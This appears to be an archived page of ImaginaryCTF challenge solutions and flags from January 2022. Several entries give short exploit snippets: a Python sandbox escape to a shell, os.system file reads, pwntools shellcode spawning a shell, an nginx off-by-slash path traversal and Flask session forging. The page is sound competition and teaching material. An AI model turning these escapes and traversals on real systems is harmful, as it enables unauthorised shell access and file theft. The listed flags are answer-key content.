Archived Challenges - January 2022

Please show me a solution written in ICICLE

ictf{has_it_really_been_18_months?_pls_help_keep_this_server_alive}

Download it in a place where Windows Defender won't bug you, or just turn off your antivirus

ictf{haha_trying_to_scare_you_with_malware_warnings-did_you_use_a_sandbox?}

curl https://docs.google.com/forms/d/e/1FAIpQLSe-IH6zqx9Bwfcnbg0LeNKu4LhiXZZ7me2P12WfwhwuBOhjeQ/viewform | grep -o '"ictf{.*}"'

ictf{r3sp0nse_v4l1d4tion_1s_n0t_f0r_s3crets}

shell=True makes it a full shell command that still expands globs. cat */* easily shows the flag

You can even get a full, unrestricted shell through $0

ictf{b@sh_sh0r7h4nds_t0_th3_r3$cu3!}

flag

ictf{ictf{ictf{ictf{flag}}}

().__class__.__base__.__subclasses__()[-4].__init__.__globals__["sy""stem"]("s""h")

ictf{Thank_you_penguin!}

Each time you request part of the flag you get an index and the sha256 hash of the letter at that index:

from pwn import *
from hashlib import sha256

lookup = {sha256(bytes([c])).hexdigest():chr(c) for c in range(0, 256)}

r = remote("spclr.ch", 1350)
flag = ['?']*100

while True:
    r.sendlineafter(b">", b"2")
    idx,h = r.recvline().strip().split(b"\t")
    idx = int(idx)
    h = h.decode()
    flag[idx] = lookup[h]
    print("".join(flag))```

ictf{m0r3_h4sh3s_4r3_m0r3_s3cur3_r1ght?}

__import__('os').system('cat flag.txt')

ictf{pyth0n_tw0_1s_st1ll_us3d_00f}

The scene consumes too much RAM to open; replace the "78647" values in the .blend file to reduce the number of objects. Render the resulting scene (the camera is already set up)

ictf{d1D_You_doWn1o4D_mor3_RaM?}

Much like the last one, I haven't written too much of a proper solve script. However, there's a few giveaways. First, the author's name has initials, and the author's name is in the markov text. Thus, the initials are two of J, S, and T. Additionally, by expanding the bits of text that have only 1 possible expansion, you can determine a few of the words in the poem.

Specifically: wdus - the only English word that contains these letters is sawdust and its derivatives Lazar - Lazarus (although google doesn't immediately show this) ryar - either dooryard or lumberyard uzzle - in some of my searches, google autocorrected this to muzzle with enough other clues

And likely others. With all these clues and some google-fu, you can find the poem. (dooryard sawdust poem is enough of a google search to bring up the poem, for example)

Script to find words with unique expansions.

from markov_revenge import freq_dict
from random import random

def pick(pairs):
    num = random()
    for c, prob in pairs:
        num -= prob
        if num < 0:
            return c

def markov_gen(ln=2000, dct=freq_dict):
    ret = '\n\n'
    for i in range(ln):
        if ret[-2:] in dct:
            ret += pick(dct[ret[-2:]])
    return ret

def find_valid_prevs(key, dct=freq_dict):
    ret = [i[0] for i in dct if i[-1] == key[0] and len(dct[i]) == 1 and dct[i][0][0] == key[1]]
    return ret

def find_uniq(key, dct=freq_dict):
    ret = key
    while ret[-2:] in dct and len(dct[ret[-2:]]) == 1:
        ret += dct[ret[-2:]][0][0]
    while len(valid := find_valid_prevs(ret)) == 1:
        ret = valid[0][0] + ret
    return ret

for key in freq_dict:
    if len(freq_dict[key]) == 1:
        print(key, repr(find_uniq(key)))```

ictf{The_Love_Song_of_J._Alfred_Prufrock_by_T._S._Eliot}

do stuff

ictf{congrats_pls_tell_me_how_to_be_orz_like_you}

https://eth007.me/robots.txt https://eth007.me/83b1f82c7536e14263e91c62f.txt

ictf{g00gle_d0esnt_index_my_page_..._but_at_what_c0st?}

https://engine-x.ictf.iciaran.com/files../flag.txt - There is a missing slash in the config, after the location is matched /files is removed from the address leaving ../flag.txt which is then appended to the alias giving us /usr/share/nginx/flag.txt

ictf{ng1nx_0ff_by_sl4sh_f41l}

Buy a key from the shop, then use that to forge a flask session cookie with a flag in your basket - https://imaginaryctf.org/f/58LyN

ictf{d0nt_l34k_fl45k_53cr37_k3y}

Some js rev, then lookup the correct values

const options = <copy a big list from the source>;
function mkD(y, m, d ) {
    return (new Date(y, m - 1, d, 0, 0, 0, 0)).setHours(0, 0, 0, 0);
}
function calc() {
    return options[Math.round((mkD(...arguments) - mkD(2021, 6, 19)) / 864e5)];
}
console.log("ictf{" + calc(2022, 12, 31) + "_" + calc(2023, 01, 01) + "_" + calc(2025, 04, 20) + "}");

ictf{arise_aging_plied}

elf = context.binary = ELF("./sc")

conn = elf.process()

conn.sendline(asm(shellcraft.sh()))
conn.interactive()```

ictf{nice_job_shellcoding!!!}

https://imaginaryctf.org/f/sNyWy

ictf{ok_but_who_would_write_that_in_their_code}

https://imaginaryctf.org/f/SOxMC

ictf{$imp13_pwn700ls_ch@113ng3_62302d5c}

The binary uses Linux signals to call a function to encode the input - Solve script: https://imaginaryctf.org/f/WIkmg

ictf{wh4t_th3_s1gnal_is_go1ng_0n}

The provided file is the base64 of a zip. The contents of the zip is a single file, flag, which is a pickle. This can be deduced from the start bytes, as well as the string __main__ appearing very early in the file. The pickle is of a linked list. Each item in the linked list has two children - data and next. next points to the next character, and data represents the character - for instance, the first node has 105 nodes connected together by data. Traversing this list yields the flag.

#!/usr/bin/env python3

from pickle import loads

class Node:
    pass

def get_len_data(obj):
    if obj == None:
        return 0
    else:
        return 1 + get_len_data(obj.data)

obj = loads(open("flag", "rb").read())
head = obj
flag = []
while head is not None:
    flag.append(get_len_data(head))
    head = head.next

print(bytes(flag))```

ictf{if_it_looks_like_a_duck_and_quacks_like_a_duck_it_must_be_a_pickle}

You can try to decompile this on Ghidra and whatnot, but regardless of the architecture you choose, the analyzed decompilation will be unreadable. Instead, you'll need to read the assembly. A simple google search 'arduino hex to assembly' will yield a stackoverflow with the command 'avr-objdump -j .sec1 -d -m avr5 foo.hex' (avr-objdump -m avr -D foo.hex provides the same assembly). If you're confused, there's an avr assembly guide 'http://ww1.microchip.com/downloads/en/devicedoc/atmel-0856-avr-instruction-set-manual.pdf'.

Next, just run through the calls in order and you'll find that that the second one leads to a function with address 0x466. In there, you'll find a call to 0x2d8 with value of 0x03E8 (1000) loaded on the registers. (this represents my i < 1000 for loop). Following that is a call to 0x2d8 again with 0xEA96 (60000). These loads use two separate LDI's as 16 bit immediates are being loaded on 8 bit registers.

60,000 is quite a large number, and hopefully this, in addition to the arduino code functioning, but not returning anything, leads to the conclusion that there is a delay implemented.

From here the solve is a trivial binary patch (thus [PA]r[T] [CH]ad):

• Find the address at 0x2d8 (3fb7).
• Locate this in the hex.
• Replace it with the address of a ldi r25, 0x00 (specifically loading to r25 may not be necessary, I am not sure).
• This will change the delay time to (96 - 0x0060). - You can also change the other load or the load onto the for loop if you want.
• Attempting to decompile the binary will lead to a checksum error and provide you with the expected value. Place that value at the end of the hex line.
• Load onto Arduino simulation.
• Flag will be printed in the logs NOTE: The arduino simulation website used was wokwi: 'https://wokwi.com/arduino/new?template=arduino-uno'

ictf{wh1M_4nD_d4sh0k_th4Nk_y0U_4_p4Tch1nG_th3_c0D3}

Open image in text file.

ictf{b0ard_1s_v3ry_b0r3d}

https://merricx.github.io/qrazybox/

ictf{Qr_C0d3s_Ar3_c0ol_r1Ght?}

brute brute brute brute brute

from Crypto.Util.Padding import pad,unpad
from Crypto.Cipher import AES

a = b'\xd9d(n\x94\x07P\x05\xb7\x85U\xb2\xf6s\x8eH\xa3\xcf\xa0\x9eR\xc2U*P\xe4\x83\x84w|\x9c\x81\x1b\xec\xb7M\xdf\x17\x8an\x91\xa7\x80\x13\\\xf7\xdf\xed'

print([unpad(AES.new(pad(bytes([n]), 16), AES.MODE_ECB).decrypt(a),16) for n in range(256) if b"ictf" in AES.new(pad(bytes([n]), 16), AES.MODE_ECB).decrypt(a)][0])

wanna see that php sol

ictf{brute_brute_brute_brute_brute}

Too tired to write a proper solve script. However, the exploit is that the program takes characters, not bytes. Entering multibyte unicode characters will allow you to enter more than 16 bytes, changing the block offsets for the ECB block chaining, letting you use it as an ECB oracle.

ictf{im_nicer_than_eth:flag_is_shorter_than_100_chars_but_there's_hex_sry_972c20ce}